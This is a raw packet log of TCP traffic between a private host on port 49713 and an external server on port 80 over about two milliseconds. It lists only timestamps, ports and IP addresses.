Jun 4, 2024 23:09:16.882329941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882330894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882343054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882354021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882358074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882365942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882376909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882380962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882388115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882399082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882402897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882411003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882420063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882422924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882430077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882436037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882447958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882457972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882461071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882473946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882482052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882487059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882498980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882502079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882514954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882520914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882528067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882539988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882544994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882551908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882564068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882565975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882575989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882589102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882590055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882600069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882606030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882612944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882623911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882626057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882635117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882647038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882652044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882658005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882659912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882669926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882680893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882685900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882694960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882708073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882709980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882719994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882723093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882731915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882742882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882749081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882756948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882767916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882769108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882780075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882780075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882791996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882805109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882806063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882817984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882829905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882829905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882842064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882843018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882854939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882867098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882869005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882880926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882889986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882894993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882900953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882906914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882920027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882929087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882931948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882945061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882956982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882962942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882962942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882972002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882985115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.882992983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.882996082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883008003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883017063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883018970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883033037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883038044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883045912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883058071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883061886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883069038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883074999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883083105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883095026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883097887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883106947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883119106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883122921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883131027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883131027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883142948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883156061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883158922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883167028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883179903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883182049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883193016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883198977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883204937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883209944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883217096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883228064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883233070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883243084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883250952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883255005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883264065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883270979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883276939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883291006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883297920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883301973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883313894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883321047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883327007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883337021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883342981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883347988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883361101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883366108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883372068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883383036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883388042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883394003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883405924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883410931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883418083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883429050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883429050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883439064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883440971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883452892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883464098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883466005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883476019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883487940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883487940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883498907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883500099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883511066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883523941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883524895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883538961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883548021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883550882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883563042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883564949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883574009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883585930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883585930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883596897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883608103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883611917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883619070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883621931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883630037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883642912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883654118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883656025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883665085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883676052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883677006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883690119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883692980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883702040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883714914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883714914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883728027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883744001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883744001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883747101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883759022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883769035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883774042 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883780956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883791924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883795023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883805990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883812904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883821011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883831978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883832932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883843899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883852959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883856058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883866072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883877039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883877993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883888006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883888960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883898973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883909941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883917093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883922100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883935928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883938074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883946896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883951902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883958101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883969069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883970022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883982897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.883991957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.883995056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884006977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884016991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884020090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884031057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884032011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884041071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884052038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884056091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884063959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884074926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884078026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884085894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884088993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884097099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884107113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884108067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884118080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884131908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884134054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884144068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884155035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884157896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884167910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884179115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884179115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884191990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884203911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884203911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884216070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884217024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884229898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884241104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884243011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884253025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884265900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884267092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884275913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884280920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884288073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884299994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884303093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884310961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884322882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884326935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884335041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884337902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884346962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884358883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884362936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884370089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884381056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884386063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884392977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884398937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884407043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884418964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884419918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884432077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884443045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884444952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884457111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884466887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884474039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884478092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884491920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884502888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884505033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884514093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884526968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884531021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884540081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884546995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884551048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884561062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884568930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884574890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884587049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884587049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884598017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884608984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884610891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884620905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884623051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884635925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884648085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884648085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884659052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884674072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884675980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884680986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884685993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884697914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884710073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884711981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884722948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884733915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884733915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884743929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884746075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884756088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884769917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884774923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884782076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884782076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884793997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884795904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884805918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884814978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884819031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884826899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.884830952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884844065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.884855032 CEST	49713	80	192.168.2.11	77.91.77.81
